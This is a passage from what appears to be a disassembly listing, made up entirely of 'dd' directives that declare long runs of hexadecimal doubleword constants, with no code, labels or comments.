0ECF9D82Ch, 64FA14CFh, 0CF9B0E95h dd 8F0DACB9h, 0BF4A5A63h, 208AE670h, 0D53B2A8h, 0ED7E7107h dd 1B17F0ADh, 0F4B3306Eh, 0F25DDFE3h, 697594CFh, 13A0C8EAh dd 29D4EC3Ah, 8E843537h, 0CDB00912h, 3A13EC30h, 3C51E03Fh dd 3559F741h, 4D1574E8h, 4EE069E0h, 0FAB93D4Ch, 9B84BC84h dd 1CB28E8Bh, 998421EEh, 8DA533F3h, 0A194FD9Dh, 110A9419h dd 42C0685Eh, 0FE2D2F81h, 9746980Eh, 1535045h, 341B8CB3h dd 776A8CE6h, 0A114B194h, 0F8269EEEh, 0C178160Dh, 752F3B56h dd 114E1815h, 76FA5C61h, 7784F1C2h, 0DED3A73h, 60D78A18h dd 2F0B541Bh dd 503C5E36h, 18765802h, 0BB45B6A5h, 30B222Eh, 3AF3F05Eh dd 5CEE4512h, 333A3BD7h, 4CAA2F87h, 50620497h, 0BA1FA559h dd 0D1613187h, 0BC4347C1h, 20891185h, 88667E37h, 3AD7F5h dd 8747CF2Ch, 9F6B3D92h, 1104165Eh, 0CA712242h, 0DDFFBFE2h dd 68004E35h, 2F119A61h, 0AD233AA1h, 6B8D49C9h, 3E758A15h dd 1C6504CAh, 7522A379h, 0D961C665h, 5D650956h, 1463DE79h dd 0DFE22115h, 0C4F31ABh, 6ED8BC72h, 8B021F08h, 0BEB2B04Dh dd 0F3D2DB54h, 1C9063F9h, 769287CDh, 2AD61863h, 0DE844E80h dd 9F615886h, 0F10B7F0h, 0BDBB882Ch, 46593DB0h, 5EFEAC11h dd 1C1DD026h, 0A5A9B17Ch, 6EA68208h, 24862022h, 7F8972B9h dd 310A0CE1h, 51DCA1E9h, 8E1E33F8h, 3AA73174h, 0DC74B511h dd 0A1366B2Bh, 57A080E2h, 0D8BE298Eh, 0F0A18527h, 4EDC3084h dd 766A0E7Fh, 0B146C080h, 9082C529h, 7C10A827h, 25C6AC84h dd 2336FB5Dh, 7A4890ABh, 7A11A10Ch, 81F1033Fh, 20A840CDh dd 4C4D8082h, 2675F5D2h, 4150EC54h, 0A201F581h, 2138AEF0h dd 9C10A0D1h, 0F56733F3h, 6A7A557Bh, 0BCEC0766h, 43534C46h dd 0F3D51403h, 0EC7A1463h, 59C8A46Bh, 0F3BC67DBh, 8F1FBFC3h dd 78193A59h, 6BFF8A1h, 89972295h, 160071BAh, 150603D6h dd 6B50B017h, 2B2C851h, 50CA7EEh, 0FF76798Ah, 0A39E441Fh dd 0F5C62D8Dh, 70422F36h, 0FC42B8C7h, 800DA3C1h, 40E73100h dd 0A814C5E0h, 63450341h, 0BECA8601h, 1B033405h, 9951CB7Eh dd 98D0EC7h, 30424D2h, 562DA6FEh, 52B82214h, 0A7B110CCh dd 22C437Fh, 0B9408051h, 49E033E0h, 0A2836955h, 0A7D2BB4h dd 85FFE834h, 918C0D14h, 3EAD0CDEh, 2D005F38h, 0B4B0A909h dd 0D5C97209h, 558708E3h, 807F4594h, 8E5BC945h, 8307C78Dh dd 8660F189h, 5105C870h, 0A2F46429h, 1F59F298h, 0E01AF46Fh dd 0FF4FA804h, 0EE12C310h, 3530B195h, 0AA6A8B80h, 0B61BF008h dd 8825E0C3h, 354D6114h, 90D030Ah, 35BFC699h, 0A486088Bh dd 774370D9h, 15E73302h, 0E65BF60Eh, 0EB063DB5h, 0E8523024h dd 0BB3C5567h, 0CFAF3700h, 9BECEA6Fh, 8F996C93h, 55D5421Fh dd 1C22BE45h, 3F870F4Ah, 0CAAC77C7h, 25C9281h, 9DB9874h dd 1CFD083Ch, 0E54004E0h, 0C217DF2Fh, 2EC28380h, 9682182h dd 9C9C35AAh, 0B54B9847h, 0D13803FDh, 608A540Eh, 0EDDF60FEh dd 3DC3249Dh, 0EA0F1184h, 13DC6A3Eh, 0A1F8D6AAh, 491E4B0Eh dd 0D8A45A2h, 0AD7A6F26h, 0E2139820h, 9040019Eh, 0C0C040Ch dd 65AB95ABh, 68DC7218h, 0FB60C08Dh, 608A4846h, 62A289C0h dd 54442556h, 8200D544h, 21047011h, 1AECBDA2h, 0C85D78FDh dd 0B039EF01h, 0EA78D66h, 16144060h, 1128F296h, 0A3607019h dd 79FC68B5h, 0C18135E0h, 0E479ACE3h, 0B679BE09h, 200583E8h dd 5B6EE7B2h, 734CA4A1h, 4FB3071Dh, 369E95DFh, 0B3FA8A7Ah dd 24176C8Ch, 52FB056Ah, 0C03E38h, 3AA910E0h, 0EDAD6ECCh dd 0A3266D00h, 597DBBAh, 0F32A284Ch, 0D160EB45h, 1477D9F8h dd 0C0134079h, 778063h, 0E2236F73h, 0A38D04Eh, 0EB57019h dd 8B89DE0h, 0B5051E30h, 6EC20DABh, 8A2E4195h, 1AD5ED3Eh dd 6B1B287Dh, 0FF1802B4h, 0C02DCD80h, 106B329Ch, 72135D21h dd 0CF7CE27h, 283BBE0Bh, 31DE118h, 81EA809Ah, 6360862Eh dd 1A817B86h, 22702E2Dh, 38C067FCh, 2B8E10FAh, 13349F06h dd 93BF277Ch, 0F84F88C7h, 998482B7h, 88DBBF09h, 0E2387732h dd 2C848470h, 8AF665C7h, 77851405h, 4F5C2406h, 4610A910h dd 0CA713984h, 66694570h, 5D149917h, 7D5C5350h, 6606C80Dh dd 7F84A997h, 4CB5C1D9h, 1A025F65h, 0B5FC012Dh, 7DE85713h dd 83ED01A9h, 80552701h, 42144F01h, 275371C3h, 0ECFDFB6Ah dd 0C6C2E284h, 2C4AD622h, 0C512B8A9h, 2BEB49D5h, 222E0933h dd 48658838h, 119E97F1h, 56775978h, 0F834A1E0h, 1582A2B3h dd 0ABA298D0h, 4434541Eh, 540BB287h, 0D4453D74h, 1A6902A2h dd 21F78F46h, 0F8145D16h, 0E824EC46h, 9B6206C4h, 95FA050Ah dd 0D085CB5Ch, 0B2EB09A7h, 2ED29597h, 8F530799h, 0E3323512h dd 316F5665h, 0FDE7FB47h, 0B84CC00Dh, 0C041A10Dh, 8BF46D1Fh dd 0EAF85D3Eh, 0EC6DBC14h, 7353DAF4h, 0D034106h, 208A6252h dd 798EFDAh, 20FA96A3h, 16A2BAECh, 26FFF959h, 0DC1F06E8h dd 846EA872h, 0DBF51291h, 0EAF2AA65h, 7617CEF7h, 355794D9h dd 150BF8A0h, 1D56A804h, 8E215CA5h, 310E62A4h, 10D974EBh dd 0CAD980B9h, 0E1ABC06Ah, 0B4D80D8Ah, 0A41C8Dh, 0B4423272h dd 0B3CC2748h, 414623EFh, 6290DF97h, 20344941h, 0A826723Ch dd 20235F02h, 6C002CBh, 1825F3F5h, 43255F7Ch, 0E4810D31h dd 2C58877Ah, 7538C561h, 1BE31E53h, 0B6943E08h, 671F99DFh dd 0E4BDEE43h, 83132A0Bh, 39DD58E7h, 4CC10A81h, 0C923AA83h dd 0B4FF2351h, 48AD4BA6h, 14EA02B2h, 88FF17F0h, 0EBB93C5Bh dd 25989836h, 4D47B6A5h, 0E449AA2Ch, 8968FA66h, 4571C82Fh dd 0D8562311h, 6D0D56A5h, 0CA40522Bh, 0CD17291Eh, 0B9C299E9h dd 0E1C7A959h, 77159763h, 0B03734A5h, 0F2E83300h, 0F35F0187h dd 3B9AA99h, 457D8079h, 2981412Dh, 2A6E7120h, 5745D50h dd 62211094h, 0EE391ABh, 0D069D80Bh, 8B564C85h, 28346290h dd 0FBEA3ECDh, 768C8B4Eh, 0C429E119h, 0D1C662DBh, 1C1FCB27h dd 24E3DF7Eh, 0C1F8498Dh, 332D23CAh, 0A9BF607Fh, 529C3062h dd 0B010295h, 94F10FCCh, 14DFE19Fh, 7C4040F1h, 843E6024h dd 861AF208h, 8172035Dh, 0E20BF11Ah, 3E488203h, 321F9ED4h dd 101D4182h, 3FB02969h, 90062073h, 41E33840h, 81674F72h dd 1F803BE3h, 135ABEEDh, 0F9ECD17Dh, 15801C0Fh, 39546CABh dd 6D3AAA29h, 0A34E1A8Ch, 4B91935Eh, 0D2EEBEh, 0AA2B36B6h dd 88E82DB8h, 1E0801CBh, 78D3F712h, 2B226DBBh, 38949AE5h dd 2D531317h, 503BAC05h, 9D75D0E0h, 6ED803B2h, 8E53F8ABh dd 480A7FABh, 2686788Eh, 88322A8Ah, 566B39D8h, 6B1A896Ch dd 9157406Fh, 4A870980h, 7830A825h, 55362826h, 23160A58h dd 0E8DC4102h, 4C3467E8h, 0A945964Ch, 0C8828802h, 0A0B24F11h dd 847993F5h, 0A67DD840h, 65871493h, 0A27AB525h, 2381A12Ah dd 0E3179612h, 6974E9ECh, 0AB2FFE34h, 0B3C92936h, 0ADA64463h dd 78F43BFDh, 197C9440h, 0DF2E507Eh, 3BC8A919h, 6317EB02h dd 68169CD7h, 2D1F4818h, 0CAB5A8D4h, 3B2205A3h, 0E50A5DDBh dd 35D08322h, 5B3893BEh, 6D563BA0h, 6EE40D5Dh, 6B606AC4h dd 0E01DF235h, 0ED4ACC8Fh, 868F451Ah, 9248FE2Bh, 0D2F39AAh dd 1F8E2A18h, 97C373F4h, 85BB6E5Bh, 68C799D6h, 0AD09A08Bh dd 682381ABh, 0D7CF810Dh, 8C86217Eh, 49287A5Bh, 1BC68C0Eh dd 95626646h, 0D0097005h, 0B5FE8AD1h, 8F9050C0h, 559CD120h dd 8E04DD05h, 0CBC1A38Ch, 0E99C6591h, 50FF4230h, 462EC47Ch dd 2989D3FAh, 1D4C10B0h, 208DA6A8h, 95B30DD0h, 0D49AAC2Fh dd 0FE61ADC6h, 0F2868BEDh, 0D5067ED0h, 7CD3C416h, 8D86CE1h dd 0C63BB8Ah, 4E7BBEC6h, 0F7CD21F8h, 0B5D45865h, 86AFAB3Dh dd 967D0189h, 753D956Ch, 0EE6F93DCh, 0C58DD174h, 2B8045ABh dd 550934AFh, 91AD8188h, 542E3B02h, 5617E87Bh, 0CA65B40Ch dd 0A6268607h, 0B51198BFh, 6116CBE0h, 402D586Dh, 4A5E59A9h dd 0A2297446h, 76A375F8h, 8E7AF879h, 11276310h, 0AEB0E6B8h dd 0CA257E12h, 1861E61Dh dd 2EBA33D7h, 6B1EA1F8h, 7EDBC498h, 0F9BD3448h, 885DE075h dd 0FE259512h, 0C56AA3D1h, 54548F3h, 0EFA50AF3h, 0FC67FA60h dd 0B9012050h, 0B048EBFCh, 0B41B2B39h, 0A2A5D0Dh, 41671AD8h dd 122BBCEAh, 479655A5h, 7FEC4711h, 0F6B3EE3Fh, 3811C223h dd 0FFE03188h, 0AB8D80D1h, 0B4512C01h, 80B701B5h, 0D0B853FCh dd 42D04B19h, 1A57093Fh, 3BE187C5h, 0A26B4631h, 0E17BDDE0h dd 9E2FF8E7h, 0A9037769h, 1C21F6A0h, 4546BF42h, 0FDF1E5Fh dd 914A6241h, 0F2DC5124h, 0A2F19D41h, 8B6C8185h, 0A0C0AB01h dd 45F5890h, 965A4927h, 0D314A7F9h, 8C4188Bh, 0BA8A5C8Fh dd 0CAC221FBh, 0F9073F1Bh, 0EDF58CCAh, 0EE0B22FDh, 3433755Eh dd 56FD7E67h, 81411731h, 30A77ECEh, 0F19C4A6Ch, 1738C257h dd 1471DD62h, 39C619A0h, 38BEA88Fh, 0BBD3C7FEh, 57D59h dd 2067A4E5h, 0A8B896A2h, 0F3BFEBBCh, 0A0785DA7h, 818885D4h dd 0A0162A93h, 0C0382EE2h, 2A0F380Bh, 0E23B5CE5h, 62680138h dd 74B830DFh, 78D2E771h, 0C1417Ah, 3FF1786h, 972A4FF5h dd 0D86DEB7Ch, 0E51AC156h, 40F82862h, 0F7783AABh, 0E51D26FFh dd 53042366h, 577818FAh, 0E25A38E9h, 8A150C5h, 0FFFFF8A1h dd 0EE10183h, 12676ECAh, 0F294DA74h, 5413D29Dh, 11886831h dd 8158F3AEh, 0F575CA97h, 0B915ACEFh, 242DA67Fh, 17EC2C40h dd 0AB112D6h, 5249B28Ah, 411A59C5h, 0E70C10BAh, 26AD103Fh dd 444E9F56h, 5E2E08C4h, 0CC178C1h, 0E3E9A1E9h, 0DCE3FE23h dd 31C13BE3h, 0CE6F0D9Dh, 9C22EB82h, 0F4C3D0CBh, 928AAE07h dd 0A0C8AFDAh, 35747601h, 0E52A23F5h, 6F1B9128h, 0E29B9F84h dd 1A1448FFh, 61E8746Dh, 241E3F30h, 0B5BAC40Ch, 18ACA2F7h dd 5AF45584h, 9B052004h, 0BF17EC0h, 68D3A203h, 8FD75325h dd 0AA93BC66h, 0C5550298h, 88868461h, 97749300h, 54A6297Eh dd 26215944h, 51497D94h, 62D20B19h, 37D85F19h, 9917E702h dd 256758AAh, 0E579A7C1h, 9568A07Ch, 8C0D648Ch, 95FC5650h dd 4AB3814Dh, 2946D4CAh, 0E6833B24h, 0EEE21945h, 5AB4260Ch dd 5DF490A9h, 0F1F5312Ch, 13653839h, 0BAFB1B5Bh, 304EF814h dd 31B42ED0h, 7C075445h, 0CAAD7813h, 55660ACCh, 8F5A158h dd 3547928Bh, 2C06C957h, 61BE908Ch, 0CEE31B05h, 0A011069Ah dd 0C4003134h, 0F20DE1E2h, 702E3E01h, 19829396h, 0DCA8D175h dd 7C54B021h, 6531066Bh, 428F0543h, 8D0175E8h, 30168B03h dd 571654AAh, 0CBB803C4h, 0D41D8521h, 507627Eh, 454A952Ah dd 0F25479ADh, 0CB74CCADh, 0FF2459CFh, 3291865Ch, 4A2E58AAh dd 559E891Bh, 9F32E5B6h, 0ECE9CC5h, 0B18979Dh, 8C01FDAh dd 7C0492DDh, 0D5136EB0h, 0EED13409h, 28048A6Ch, 0FD6726F2h dd 924ED61Bh, 0ACA987B8h, 0E370D7E2h, 0F4ED54Ah, 0DB6C87E4h dd 0D4DE1575h, 0A0155EEh, 94B52A32h, 70910F2h, 8D63516Eh dd 179DE056h, 59F5C917h, 0D7588B2Fh, 0A415F4BBh, 0C3F0DB0Bh dd 0C9B51EFAh, 0AA739190h, 80631154h, 9196E0A9h, 0C604206Ch dd 0A4A16E3Bh, 0DB42088Ah, 8904C007h, 1E71A09Dh, 16C88E0h dd 10AE12B3h, 0ED8C5B1Ah, 1F31A7E8h, 1A40791Ah, 5F1F9C48h dd 7030B110h, 3AD52831h, 25882CAFh, 7A726125h, 7BCC89B5h dd 1FF6069Ah, 0C04E019Ch, 0AECA05BBh, 0E2E50541h, 0B34768B2h dd 4502AE99h, 1E7FD58Bh, 0DA1D44EDh, 0A8E7FAA6h, 5C0E370Ah dd 82B10C0Fh, 0EAF2D0Ah, 29126CC3h, 273E7D91h, 230D3476h dd 2D181509h, 5C142E58h, 61D047Ch, 405142DEh, 0F95B5E87h dd 4A532508h, 2B4D44F8h, 0B1377A99h, 0E47CED44h, 4AC1A092h dd 63DAE711h, 516C2F41h, 0AC5FA1FDh, 812481A8h, 4C13D3C9h dd 314DDEC4h, 0C9357A71h, 247C4984h, 37422E13h, 5BC4CB0Ah dd 3AFD64DCh, 26F4A66Ch, 8EC4C49Ah, 2F93826Ch, 7EF4C95Ah dd 0D92F7637h, 0BA51557Fh, 74FD0B0Eh, 338B272Ch, 768DA09Dh dd 0A5B4A7F2h, 0DEE33F6h, 8B3F4AAAh, 8E8139Eh, 0A97FB27h dd 476141DCh, 68E38E2Bh, 0D56CC2FBh, 2D51722Fh, 789CBF50h dd 7904E460h, 23950049h, 1079B939h, 4C510C58h, 58A1125Eh dd 0D6C5C6A2h, 39D69079h, 81135A21h, 5507493Dh, 0FF68752Fh dd 1011947h, 20D0775h, 512FAC22h, 0C0952127h, 0F34F84F7h dd 5AA1A8A2h, 0AF57958Fh, 43CB15Fh, 40B66B6Dh, 0ED79F73Bh dd 4F828127h, 3BD1DE8Fh, 13B07014h, 68CDF1F8h, 0D601FA68h dd 8570033Ah, 27AABDA9h, 4E9B0D1Eh, 0D83BCF30h, 422BA7C9h dd 0E1474C3Ah, 52BA6A74h, 0DC748EE5h, 0B9ABBAEFh, 0EC9EAAD8h dd 6104C3D3h, 0B47D7E95h, 18282BD6h, 0ED60202Ah, 4202ED99h dd 0B8C23C96h, 8BB0EB54h, 863A85A8h, 0C5F99280h, 0D6A6DD04h dd 1D7D7122h, 0F6536F50h, 559D1AFFh, 0DEA25D01h, 8D1CFAA2h dd 15D89399h, 0A9704E3Eh, 0C017794h, 0E60CD08h, 0C8CB4C3h dd 1D64323Eh, 0DF7F3863h, 647756C1h, 0ACA2845Dh, 5C4A0582h dd 6C5A4139h, 554A2ED2h, 8A3BE7A0h, 0C155B211h, 7A20629h dd 0E9CF208Eh, 0B11083BFh, 280DA085h, 29D8A274h, 0BBD518A1h dd 0B9B04CDCh, 8290E55Ah, 6C9417D9h, 7D788ABh, 652FD87Ch dd 0D765042Fh, 0B2CCFEC5h, 313B0528h, 0E2806D2Eh, 549E45Dh dd 1438BB02h, 0BB1C9B55h, 8A7AC626h, 358351DEh, 0EC37E240h dd 0E51C158Fh, 99C072A4h, 7048E314h, 14FD61FBh, 0F158A835h dd 8502B68Eh, 0AA0C0592h, 31B518B5h, 56FD904h, 8B22CFC2h dd 0E08CB1C2h, 4D41570h, 0A22E5597h, 14947D14h, 2551F5C2h dd 43A23F6Dh, 4A3FFC5Ah, 0BDD010A4h, 30D06B5Eh, 28111B5h dd 0EF8342AAh, 7FE692Bh, 9896E4B2h, 2F8155Ah, 1D2A7B23h dd 4E98A19Ch, 0C59A0D35h, 8CEB2992h, 0EE40D82h, 0CCCF6E33h dd 5B1B58ADh, 0A56BE075h, 0A952C881h, 0C3F016ACh, 492940CAh dd 10C8B8C5h, 3CAE6014h, 0E1FB629Fh, 26529C87h, 0B9AF0281h dd 7C7565CBh, 59944427h, 140472DCh, 654DAE06h, 0C92D0542h dd 6825D65Ah, 48E51AC8h, 8863703Dh, 6AD86236h, 0C5EE9E8Eh dd 0A82F9197h, 4B45D84h, 6E0F07CDh, 35661Ch, 258961BFh dd 42888EFAh, 9F35C641h, 527E2E37h, 14AD5448h, 0E2A9071Ch dd 21A11B09h, 0F9D610B5h, 148B1ACh, 4B50B865h, 2362DB0Bh dd 76BA2176h, 33013F45h, 83335988h, 2099A482h, 0C72CF0D1h dd 0B652F25Ah, 8A7D0FDh, 0A0D01AD0h, 7F2D3110h, 2F4D0960h dd 9B85BC97h, 14E7421Dh, 16F55A2Fh, 40FC0563h, 8E00852h dd 0D970D0B3h, 946E18CBh, 29CDB140h, 0C9FA8F5Dh, 0AB0A5F9Fh dd 0D42D1245h, 1CD7502Ah, 0A36B0499h, 0CA18A6D6h, 0E38A88Ch dd 984DF310h, 0B3038A3Ch, 33A9C2B8h, 2A8602EAh, 0D51315C0h dd 0B2960095h, 157531E9h, 1806130Ah, 2503D48h, 0B9F08360h dd 0B07F0366h, 0B15BA0ABh, 756D41C1h, 1CCA5CACh, 80B25481h dd 7B483395h, 8112E555h, 9981AC71h, 0B4B40A11h, 0FD01B42Bh dd 0B01501Ah, 0DE9132Dh, 485E0CBCh, 0B9E26339h, 1AA52Fh dd 5C0195DDh, 91E91Ah, 580C9D32h, 9CD9A843h, 0B388BB00h dd 3DA84040h, 12C1A59Eh, 8EC2722Dh, 17D10A09h, 8321C9F1h dd 0DCA09781h, 966C5717h, 0A0E5FA3Fh, 0F5CBB7ACh, 0B27A6050h dd 25F60F96h, 0EE84B846h, 0BFC6E1C0h, 0FC53E87Eh, 618037Dh dd 114ADE22h, 54A23E1Ch, 0DA805C62h, 7AFF50E1h, 42191A0h dd 0A06383Eh, 5C0989D2h, 0C913104Fh, 8BEC4BB1h, 7DF5F08Dh dd 0A2B55667h, 6FBA5A55h dd 58C281B5h, 0D7CBAD48h, 5A34ABD4h, 79610682h, 572801CAh dd 1C30EE68h, 118B189Ah, 9046A5EEh, 1B880192h, 18A198Ch dd 81AB03BFh, 250D5468h, 442246D9h, 8004160Eh, 0D814E84Eh dd 9191175Fh, 0F0EDB482h, 0AE9C8481h, 0C9041A85h, 5C09863Fh dd 69691120h, 2C7CFA3h, 0F238BE4h, 2A52D282h, 329148h dd 60C3F012h, 633C4D88h, 14F167C6h, 604A6C2h, 5A824A25h dd 0BE0ECFEFh, 508DF54Dh, 88C7D1D6h, 0A5F9EC49h, 0AD58AE0Ch dd 0A445042Eh, 5B151557h, 0E583F693h, 8F78E08h, 2A64EE8h dd 0AC0081D2h, 66E3C5E6h, 75C5AFC1h, 8D297110h, 76632BF1h dd 9E0FDCFBh, 7A0C7C9Ah, 8CF1C302h, 0B6A29C1h, 4D378402h dd 2CE138Ch, 0E928E559h, 8782FC0Dh, 0F1A9A29Eh, 7FB52093h dd 0B2E992F3h, 0D64A5FA5h, 81486611h, 0BDC29568h, 0A0A856A9h dd 4280CB9Bh, 0EA64E101h, 1E5AB6A0h, 0AB1295B6h, 0AEF567F6h dd 0DAEF458Dh, 24A20B12h, 0B4311745h, 1864AFD3h, 0FB6871E5h dd 0C100573Ah, 15069F2Eh, 0C7D111D6h, 20111FEh, 2A9259CDh dd 8BC750FDh, 1856A420h, 69C54730h, 759B3218h, 0B7FAE386h dd 4AF822BDh, 114FE146h, 0E4B68A6Bh, 580145E0h, 0E7524257h dd 7924480Eh, 5B0EBE95h, 6341FC21h, 40B2CC4Eh, 26640254h dd 597E9F64h, 7A3FDFAAh, 0BE79B38Ah, 0B91FBD78h, 0AB9FDC2Ah dd 0F042B57Ch, 1758AEE5h, 1B05B2D5h, 2D0639ADh, 0FA93D8F4h dd 0C5368238h, 0A2ABF8DAh, 0A8968D73h, 0EC3FD4DFh, 20F5120h dd 0EA8E2D0Eh, 0A502CAE8h, 0CD7C48FCh, 2098E7A2h, 33C0E170h dd 0B4210746h, 89C80827h, 160ECCE7h, 0D67D5E9Ah, 39CE398Fh dd 0B6C145E5h, 7C53F58h, 612B1AFBh, 5428F0DCh, 8962FD2Bh dd 87731476h, 0C77A73BDh, 0B5EE1CC5h, 0A080065h, 0A7012433h dd 0BA068771h, 0E3147975h, 7C02BB46h, 254EB1Bh, 0A477AAB0h dd 76A81FE9h, 11063C59h, 21B04EACh, 8BE7F727h, 2D563C90h dd 29FD142Ah, 660340B0h, 3995496Bh, 48C3E576h, 2AEE7851h dd 8462587h, 0DDF7F11Eh, 0BD2D0529h, 0C032E975h, 4A37D871h dd 27D120BEh, 70CD2175h, 44E4BCD3h, 71AE6958h, 6E55CE5Ah dd 0FC0AD16Ch, 0A0E0ABD0h, 49DEE90Ch, 0AE5FF850h, 2EB13416h dd 0F5120608h, 86E26C1Eh, 0D0A28173h, 4297098h, 97E72585h dd 0D56BDB5Eh, 0D1E42282h, 0EA7F5456h, 826A839h, 0D698FA6Ah dd 0BA60F6ACh, 0B1AD5A2h, 0C5E5DCC5h, 7127FF52h, 0B4E84338h dd 0DE717D6Bh, 21C02006h, 72FA7485h, 0D4A04395h, 0AACD7AE4h dd 0E2EA1CB9h, 0E26C0BFh, 4042104Ah, 0CBD820C6h, 0D851836Dh dd 0BFD969A2h, 6DDB7D04h, 0F33FE87Eh, 48AFF2C2h, 3A568ADEh dd 0A79F8978h, 20618EE1h, 0D4615ACBh, 0BD4282D1h, 0E21A18F4h dd 5AD1E968h, 0AAD3D5C4h, 0B6D1BC49h, 0EFF450C4h, 0A5A31655h dd 65110918h, 0A308389Fh, 115A58A5h, 249F9F5Fh, 5A3D2168h dd 27D35911h, 48DD68A2h, 9C31C4F2h, 3B447968h, 0C902DED1h dd 13E89117h, 37B52F43h, 0DD8A2279h, 2D7242B7h, 0C8957826h dd 0A72C773Fh, 4D405F9h, 4D1BC6DFh, 0FB2E0437h, 9D6AA733h dd 14F48AC0h, 6A82D3BAh, 993DA55h, 2598EFB7h, 0B8C6CFFAh dd 0D80F5080h, 0F6419193h, 0B43CBD7Ah, 0D530B609h, 0FD46AEE1h dd 44A25261h, 47D88416h, 2F22F800h, 622997C1h, 51AFC08Ah dd 31ECE8E0h, 8645B59Eh, 0C3E3076Bh, 0A9E1AA64h, 5ED189B8h dd 0AA82021Dh, 185480A7h, 9FBCB51h, 77045324h, 0DE2B2C25h dd 5D18119Dh, 8A2EB8B4h, 4552CFA4h, 34B391DBh, 77649EFBh dd 4C4F8275h, 5A4DA7Dh, 0E018B409h, 58D0A149h, 10A6AE1h dd 0D9766826h, 2A1BA231h, 31B0B920h, 0B42C1780h, 0D17B5580h dd 305232C8h, 85004421h, 0FDA4251Fh, 0CEE6DB70h, 9CD1CE72h dd 273B045Ah, 28DD2E45h, 661D5E00h, 47626475h, 0F01594h dd 3A4A469Eh, 0B7231C2Ah, 7AE5F836h, 20B4F48Bh, 0B4DC8351h dd 0FB386904h, 0BAC27DAEh, 36A17934h, 68B6C212h, 0C134414Eh dd 0E7777A97h, 0A87E8651h, 0F4E8D7B0h, 5AE43A74h, 32EDA00Dh dd 0C22DAB00h, 0AA3AC72Ah, 18F20122h, 0F287E2EDh, 28A9ECA4h dd 417968Eh, 50812DFh, 472A6476h, 0C95662ACh, 48F7h, 83140765h dd 9845A255h, 4345BAC5h, 0AC051DC6h, 0FDF5392Fh, 0FF72D99Bh dd 8AE33410h, 4AD07414h, 550B1DFCh, 0D817FF78h, 14C505Ah dd 1967F15Dh, 0DF08B381h, 602BC73Fh, 442E52E9h, 0BAAC4686h dd 4814B3EAh, 0BD66CAC2h, 42A02FC2h, 0C55DC33Bh, 0E8242108h dd 0B3CBA316h, 0D393140Ah, 5D407B5h, 0D3BA5FABh, 9A66C2B2h dd 63377591h, 9CB8AF3Fh, 9F62C24Eh, 45053CDBh, 88AFE0E6h dd 0C6C3E972h, 75CD3ECDh, 2FF35903h, 5DCD56EEh, 8A13DDECh dd 27F5973Bh, 7841DB5Dh, 0D4757DB2h, 0C0EA15C3h, 0BB99C833h dd 0C6A5842Ch, 4FE158EBh, 5ABBEC43h, 77117581h, 0A9A58E9Fh dd 1BF8E0A0h, 11496814h, 7F562AC1h, 9A09F24Bh, 5BA28BF5h dd 4B168006h, 0DE672925h, 73BC379Bh, 0BEFEF867h, 151F801Ah dd 376A2D54h, 7CD0ACEh, 0F9740755h, 0C36A8A21h, 4079E14Fh dd 3E7D8055h, 0BD025453h, 397029BBh, 897E5DEBh, 7444D062h dd 0B81B1CB9h, 5FA14C26h, 9E926777h, 0B6BB3B3Ah, 2B6AC252h dd 0A0D419E6h, 372535B1h, 2258C408h, 43A2D640h, 846DCABh dd 0BE80B681h, 8C9CE5DCh, 2E712175h, 401CFDD0h, 46D4456Ch dd 0C9DAB16Dh, 61A936AAh, 0E6F8A9EAh, 64E041F2h, 0C6BB581h dd 842AA9D6h, 145B43DDh, 104DF6A7h, 0D8B31E68h, 0CE0411B4h dd 28AB6B8Fh, 0ADD4329Fh, 3E9C91B8h, 82A560Eh, 0BA51ECD1h dd 61741F65h, 77A7A31Ah, 8FC686ABh, 73912D01h, 9868D0C7h dd 0F466738Eh, 99C6FE56h, 0D3958E60h, 52DAD4C1h, 0D4172F5h dd 0E45F7F03h, 5D11A16Ah, 59436FE6h, 0AA7339A0h, 82852210h dd 30132D1h, 4C56B61Bh, 0F537461h, 20D4120Ah, 4C2CC856h dd 54C6D5AEh, 6FA93AC7h, 136D286Fh, 0A155951Ah, 57F927A2h dd 4027B1D9h, 0D8EFE16Ah, 984812A7h, 416B112Fh, 0B6E2289Ah dd 2A5A3769h, 64539015h, 608EB059h, 0D7F2091Ch, 0DACFB467h dd 0DF5C3700h, 0A887AF1Fh, 0A8B5C2Fh, 5D266C7Ch, 0F58FC60Fh dd 430A8A1Eh, 928BB08Ah, 2CA87380h, 1A7086Ch, 5987519Bh dd 26DB2081h, 32D2E0A8h, 0FE62C945h, 144288A1h, 0DF1FD616h dd 0FDDA149h, 0EB1659D5h, 0A945E75Eh, 0AFA15446h, 983951FCh dd 0D711A03Eh, 20670AC2h, 130F380Eh, 2E73EB38h, 961009C6h dd 55329C1Dh, 5F6AB740h, 0C640AC98h, 15A2E1ACh, 0DDE9186Eh dd 0CD54D84Dh, 70752ACDh, 7355483Dh, 0FC2D8038h, 224B5B14h dd 0A4D69C29h, 2EFB3FADh, 0F6DF1E3Eh, 0A20AF499h, 545D7963h dd 4DA7F40Ah, 1D867893h, 9918F538h, 67824360h, 158254B1h dd 93BC654Bh, 5DEC297Dh, 0A62A6A06h, 2DD5D6A9h, 38F23B0Fh dd 4FDB48B2h, 0B3CAD39Bh, 10B4EA10h, 8DB0B3EAh, 0B1DDE3F8h dd 0E342578Eh, 0F2C28DE9h, 152466B3h, 5C6A68BAh, 7B4E77Bh dd 0AB131AE9h, 140018A9h, 4B279053h, 0ACA81D09h, 0AEFFD14h dd 0DAB57A66h, 59F09752h, 0B925519Fh, 6FF9079Ah, 2D5106E3h dd 90224778h, 0CC1EE050h, 21D29644h, 0AB9BF5D7h, 1975A01Ch dd 0E4D178C1h, 65F28EB2h, 0A92E17A5h, 0EB90CD1Fh, 13313839h dd 10A1BAE6h, 0C9401F55h, 4A595451h, 35A82929h, 0A9F689AFh dd 0D7680786h, 8AB86B2Eh, 865DFC9Ch, 0F9C4D136h, 45EA62CDh dd 0AC92C1BDh dd 5BFFE114h, 2E28F5C7h, 0FAD3AAECh, 2E3040B7h, 90797D50h dd 8A55C8F2h, 0F4E4C28h, 0D405DF58h, 98F9241Dh, 0FBF36FFBh dd 55AEF048h, 960211FCh, 0BA2CB220h, 0AA28712Fh, 4CF1E719h dd 0E1FA742h, 7E0888D7h, 546002D5h, 0F659C589h, 0D99CF267h dd 0D77E285Ah, 4094602Eh, 2B473880h, 8566C166h, 0C06F13A8h dd 9D25E72Eh, 0A726A0h, 0C8DCBAC9h, 0B253EA94h, 0A37692Fh dd 1D680371h, 1AC11B09h, 0AE359490h, 5DC882Fh, 75828AC2h dd 958FF25Fh, 1FBEDAABh, 18885C0Eh, 8C4CE062h, 143165A2h dd 0FC2B272Ah, 83637F9Dh, 0F708372Ch, 6823E541h, 0E705BA19h dd 